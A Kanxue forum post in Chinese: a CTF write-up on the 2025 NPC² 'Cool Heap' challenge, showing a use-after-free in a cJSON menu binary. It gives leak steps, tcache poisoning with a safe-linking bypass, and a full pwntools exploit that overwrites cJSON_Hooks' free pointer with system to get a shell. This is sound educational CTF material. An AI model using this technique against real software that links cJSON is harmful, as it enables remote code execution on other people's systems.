首页
课程
问答
CTF
社区
招聘
峰会
发现
排行榜
知识库
工具下载
看雪20年
看雪商城
证书查询
登录
注册
首页
社区
课程
招聘
发现
问答
CTF
排行榜
知识库
工具下载
峰会
看雪商城
证书查询
社区
茶余饭后
发新帖
0
0
[原创]基于cJSON_Hooks的堆利用
发表于: 2026-7-31 16:57
161
[原创]基于cJSON_Hooks的堆利用
2h1p1ng
2026-7-31 16:57
161
### House of json `cJSON`库中存在一个`cJSON_Hooks`结构体用于自定义内存分配于释放,可以此劫持程序控制流进行攻击,下以2025 NPC² CTF 的`Cool Heap`题目为例展示利用链 ```c typedef struct cJSON_Hooks { void *(CJSON_CDECL *malloc_fn)(size_t sz); // 默认为标准库的 malloc void (CJSON_CDECL *free_fn)(void *ptr); // 默认为标准库的 free } cJSON_Hooks; ``` `glibc`版本为2.35,保护全开   `ida` 反编译一下,经典菜单题,存在UAF漏洞 ```c int __fastcall __noreturn main(int argc, const char **argv, const char **envp) { int cmd; // [rsp+4h] [rbp-104Ch] unsigned int idx; // [rsp+8h] [rbp-1048h] int size; // [rsp+Ch] [rbp-1044h] void *src; // [rsp+10h] [rbp-1040h] __int64 json; // [rsp+18h] [rbp-1038h] __int64 ObjectItemCaseSensitive; // [rsp+20h] [rbp-1030h] __int64 idx_json; // [rsp+28h] [rbp-1028h] __int64 size_json; // [rsp+30h] [rbp-1020h] __int64 content_json; // [rsp+38h] [rbp-1018h] __int64 buf[514]; // [rsp+40h] [rbp-1010h] BYREF buf[513] = __readfsqword(0x28u); initial(argc, argv, envp); memset(buf, 0, 4096); cmd = -1; idx = 0; size = 0; src = 0LL; while ( 1 ) { printf("> "); read(0, buf, 0xFFFuLL); json = cJSON_Parse(buf); // json 没delete ObjectItemCaseSensitive = cJSON_GetObjectItemCaseSensitive(json, "cmd"); if ( *(_DWORD *)(ObjectItemCaseSensitive + 24) == 8 ) cmd = *(_DWORD *)(ObjectItemCaseSensitive + 40);// cmd idx_json = cJSON_GetObjectItemCaseSensitive(json, "idx"); if ( *(_DWORD *)(idx_json + 24) == 8 ) idx = *(_DWORD *)(idx_json + 40) % 15; size_json = cJSON_GetObjectItemCaseSensitive(json, "size"); if ( *(_DWORD *)(size_json + 24) == 8 ) size = *(_DWORD *)(size_json + 40); content_json = cJSON_GetObjectItemCaseSensitive(json, "content"); if ( *(_DWORD *)(content_json + 24) == 16 ) src = *(void **)(content_json + 32); if ( cmd == 26318864 ) // exit cmd=26318864 { puts("いいよ、こいよ"); _exit(-114514); } if ( cmd > 26318864 ) { LABEL_32: puts("Invalid cmd"); } else if ( cmd == 1131796 ) // edit cmd=1131796 { if ( *((_QWORD *)&chunk_array + 2 * (int)idx) ) { if ( size >= *((_DWORD *)&size_array + 4 * (int)idx) - 1 ) { puts("How dare you!"); read(0, *((void **)&chunk_array + 2 * (int)idx), *((_DWORD *)&size_array + 4 * (int)idx) - 1);// UAF } else { memcpy(*((void **)&chunk_array + 2 * (int)idx), src, *((_DWORD *)&size_array + 4 * (int)idx) - 1); } } printf("chunk[%d] updated\n", idx); } else { if ( cmd > 1131796 ) goto LABEL_32; if ( cmd == 26214 ) // show chunk cmd=26214 { if ( *((_QWORD *)&chunk_array + 2 * (int)idx) ) puts(*((const char **)&chunk_array + 2 * (int)idx)); printf("chunk[%d] content printed\n", idx); } else { if ( cmd > 26214 ) goto LABEL_32; if ( cmd ) { if ( cmd != 4919 ) // free chunk cmd=4919 goto LABEL_32; if ( *((_QWORD *)&chunk_array + 2 * (int)idx) ) free(*((void **)&chunk_array + 2 * (int)idx));// UAF printf("chunk[%d] freed\n", idx); } else { // add chunk cmd=0 // *((_QWORD *)&chunk_array + 2 * (int)idx) = malloc(size); *((_DWORD *)&size_array + 4 * (int)idx) = size; printf("chunk[%d] created\n", idx); } } } } } ``` 下面进行漏洞利用: 先泄漏一下libc,这里注意`cJSON`解析时会切割释放后的大堆块 ```python # leak libc add(0,0x1500) delete(0) add(0,0x12d0) show(0) libc.address = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))-0x21ace0 success("libc base: "+hex(libc.address)) ``` 然后打`tcache poisoning`把堆块申请到`environ`附近泄漏栈地址 ```python # tcache poisoning && bypass safe-linking && leak stack environ = libc.sym['environ'] success('environ: '+hex(environ)) add(1,0x80) add(2,0x80) delete(2) delete(1) show(1) tmp_1 = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00')) show(2) tmp_2 = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00')) heap_base = (tmp_1^tmp_2)-0x2330 success('heap_base: '+hex(heap_base)) edit(1,p64(environ^((heap_base+0x2070)>>12))) add(3,0x80) add(4,0x80) #environ show(4) stack_leak = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00')) main_addr =stack_leak-0x110 success("main_addr: "+hex(main_addr)) ``` 然后再打`tcache posioning`把堆块分配到这里,泄漏出`main`地址,进而泄漏pie  相关脚本: ```python # tcache posioning && leak pie add(5,0x90) add(6,0x90) delete(6) delete(5) edit(5,p64(((main_addr-0x10)&0xfffffffffffffff0)^((heap_base+0x3770)>>12))) # align add(7,0x90) add(8,0x90) if(main_addr%0x10==0): edit(8,b'a'*0x10) show(8) p.recvuntil(b'a'*0x10) main = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00')) else: edit(8,b'a'*0x18) show(8) p.recvuntil(b'a'*0x18) main = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00')) success("main: "+hex(main)) pie = main-0x2390 ``` 然后打`cJSON_Hooks`。`malloc_hook`不变,`free_hook`改成`system`,然后再发送`{"/bin/sh"`(注意没有右括号)这样`cJSON_Parse`过程中会先分配内存给字符串`"/bin/sh"`分配一个堆块来存放,然后发现没有右括号解析失败,开始递归销毁所有在此过程中分配的内存块,触发`system("/bin/sh")` ```python # cJSON_Hooks jm_hook =pie+0xb010 jf_hook =pie+0xb018 add(9,0x100) add(10,0x100) delete(10) delete(9) edit(9,p64(jm_hook^((heap_base+0x4c60)>>12))) add(11,0x100) add(12,0x100) one_gadget=[i+libc.address for i in one_gadget_base] # overwrite hooks edit(12,p64(libc.sym['malloc'])+p64(libc.sym['system'])) p.sendafter(b'> ',b'{\"/bin/sh\"') # system("/bin/sh") getshell ```  完整exp: ```python from pwn import * from LibcSearcher import* import json context(os='linux',arch='amd64') # context.log_level='debug' context.terminal = ['zellij', 'run', '-c', '-d', 'right', '--'] ip='127.0.0.1' port=60061 b=''' b main b *main+887 b *$rebase(0x25fc) ''' elf=ELF('./vuln',False) libc=ELF('./libc.so.6',False) temp = { "cmd":-1, "idx":0, "size":0, "content":"padding" } def add(idx,size): tmp ={'cmd':0,'idx':idx,'size':size,'content':'padding'} p.sendafter(b'> ',json.dumps(tmp).encode()) def delete(idx): tmp ={'cmd':4919,'idx':idx,'size':0,'content':'padding'} p.sendafter(b'> ',json.dumps(tmp).encode()) def show(idx): tmp ={'cmd':26214,'idx':idx,'size':0,'content':'padding'} p.sendafter(b'> ',json.dumps(tmp).encode()) def edit(idx,content=b''): tmp ={'cmd':1131796,'idx':idx,'size':0xFFFF,'content':'padding'} p.sendafter(b'> ',json.dumps(tmp).encode()) p.sendafter(b'How dare you!\n',content) one_gadget_base = [0xebc81,0xebc85,0xebc88,0xebce2,0xebd38,0xebd43,0xebd3f] # p=process(elf.path) p=remote(ip,port) # p=gdb.debug(elf.path,b) # leak libc add(0,0x1500) delete(0) add(0,0x12d0) show(0) libc.address = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00'))-0x21ace0 success("libc base: "+hex(libc.address)) # tcache poisoning && bypass safe-linking && leak stack environ = libc.sym['environ'] success('environ: '+hex(environ)) add(1,0x80) add(2,0x80) delete(2) delete(1) show(1) tmp_1 = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00')) show(2) tmp_2 = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00')) heap_base = (tmp_1^tmp_2)-0x2330 success('heap_base: '+hex(heap_base)) edit(1,p64(environ^((heap_base+0x2070)>>12))) add(3,0x80) add(4,0x80) #environ show(4) stack_leak = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00')) main_addr =stack_leak-0x110 success("main_addr: "+hex(main_addr)) # tcache posioning && leak pie add(5,0x90) add(6,0x90) delete(6) delete(5) edit(5,p64(((main_addr-0x10)&0xfffffffffffffff0)^((heap_base+0x3770)>>12))) # align add(7,0x90) add(8,0x90) if(main_addr%0x10==0): edit(8,b'a'*0x10) show(8) p.recvuntil(b'a'*0x10) main = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00')) else: edit(8,b'a'*0x18) show(8) p.recvuntil(b'a'*0x18) main = u64(p.recvuntil(b'\n',drop=True).ljust(8,b'\x00')) success("main: "+hex(main)) pie = main-0x2390 # cJSON_Hooks jm_hook =pie+0xb010 jf_hook =pie+0xb018 add(9,0x100) add(10,0x100) delete(10) delete(9) edit(9,p64(jm_hook^((heap_base+0x4c60)>>12))) add(11,0x100) add(12,0x100) one_gadget=[i+libc.address for i in one_gadget_base] # overwrite hooks edit(12,p64(libc.sym['malloc'])+p64(libc.sym['system'])) p.sendafter(b'> ',b'{\"/bin/sh\"') # system("/bin/sh") getshell p.interactive() ''' 0xebc81 execve("/bin/sh", r10, [rbp-0x70]) constraints: address rbp-0x78 is writable [r10] == NULL || r10 == NULL || r10 is a valid argv [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp 0xebc85 execve("/bin/sh", r10, rdx) constraints: address rbp-0x78 is writable [r10] == NULL || r10 == NULL || r10 is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp 0xebc88 execve("/bin/sh", rsi, rdx) constraints: address rbp-0x78 is writable [rsi] == NULL || rsi == NULL || rsi is a valid argv [rdx] == NULL || rdx == NULL || rdx is a valid envp 0xebce2 execve("/bin/sh", rbp-0x50, r12) constraints: address rbp-0x48 is writable r13 == NULL || {"/bin/sh", r13, NULL} is a valid argv [r12] == NULL || r12 == NULL || r12 is a valid envp 0xebd38 execve("/bin/sh", rbp-0x50, [rbp-0x70]) constraints: address rbp-0x48 is writable r12 == NULL || {"/bin/sh", r12, NULL} is a valid argv [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp 0xebd3f execve("/bin/sh", rbp-0x50, [rbp-0x70]) constraints: address rbp-0x48 is writable rax == NULL || {rax, r12, NULL} is a valid argv [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp 0xebd43 execve("/bin/sh", rbp-0x50, [rbp-0x70]) constraints: address rbp-0x50 is writable rax == NULL || {rax, [rbp-0x48], NULL} is a valid argv [[rbp-0x70]] == NULL || [rbp-0x70] == NULL || [rbp-0x70] is a valid envp ''' ```
传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!!
上传的附件:
coolheap.zip
(1.03MB,1次下载)
收藏
・
0
点赞
・
0
打赏
分享
分享到微信
分享到QQ
分享到微博
赞赏记录
参与人
雪币
留言
时间
查看更多
赞赏
×
1 雪花
5 雪花
10 雪花
20 雪花
50 雪花
80 雪花
100 雪花
150 雪花
200 雪花
支付方式:
微信支付
赞赏留言:
快捷留言
感谢分享~
精品文章~
原创内容~
精彩转帖~
助人为乐~
感谢分享~
最新回复
(
0
)
游客
登录
|
注册
方可回帖
回帖
表情
雪币赚取及消费
高级回复
返回
2h1p1ng
1
发帖
0
回帖
0
RANK
关注
私信
他的文章
[原创]基于cJSON_Hooks的堆利用
161
关于我们
联系我们
企业服务
看雪公众号
专注于PC、移动、智能设备安全研究及逆向工程的开发者社区
谁下载
×
huangyalei
看原图
赞赏
×
雪币:
+
留言:
快捷留言
为你点赞!
返回
顶部